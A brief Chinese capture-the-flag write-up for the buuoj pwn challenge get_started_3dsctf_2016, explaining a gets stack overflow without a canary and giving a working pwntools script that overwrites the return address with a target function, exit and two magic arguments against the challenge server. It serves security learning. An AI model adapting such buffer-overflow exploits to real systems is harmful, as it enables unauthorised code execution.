get_started_3dsctf_2016

checksec

没有栈保护,应该还是栈溢出

一般是先在main函数查找,看看整体逻辑

找到了get漏洞

注意啊注意!

这里这道题没有缓冲区

这是正常的题,这里有个s

但是这道题!

只有R没有s

这里有一个点,在函数构建的时候,我们返回函数这里是addr,在引用这个函数时,我们要马上接入他的返回函数,这里就是exit,然后再传参,之前的题没有这个因为没有正常结束不会有什么问题

python 复制代码
from pwn import *
ghust = remote("node5.buuoj.cn",26779)
addr= 0x80489A0
exit_addr=0x0804E6A0
a1=814536271
a2=425138641
payload = b'a'*56 +p32(addr)+p32(exit_addr)+p32(a1)+p32(a2)
ghust.sendline(payload)
ghust.interactive()
相关推荐
zyx没烦恼2 分钟前
Linux 进程信号
linux·运维·服务器·开发语言·c++
佬乔8 分钟前
xml中配置AOP织入
java·服务器·前端
Hoxy.R30 分钟前
什么是 CSSD?
服务器·开发语言·oracle
Arbori_2621542 分钟前
linux paste 命令
linux·运维·服务器
GalaxyPokemon44 分钟前
Muduo网络库实现 [十三] - HttpRequest模块
linux·服务器·网络·c++
无名之逆44 分钟前
Hyperlane:高性能 Rust HTTP 服务器框架评测
服务器·开发语言·windows·后端·http·rust
h^hh1 小时前
实操(进程状态,R/S/D/T/t/X/Z)Linux
linux
竹之却1 小时前
Linux Vim 编辑器的使用
linux·编辑器·vim
码上飞扬1 小时前
Nginx功能及应用全解:从负载均衡到反向代理的全面剖析
运维·nginx·负载均衡
良许Linux1 小时前
为什么我学了几天 STM32 感觉一脸茫然?
linux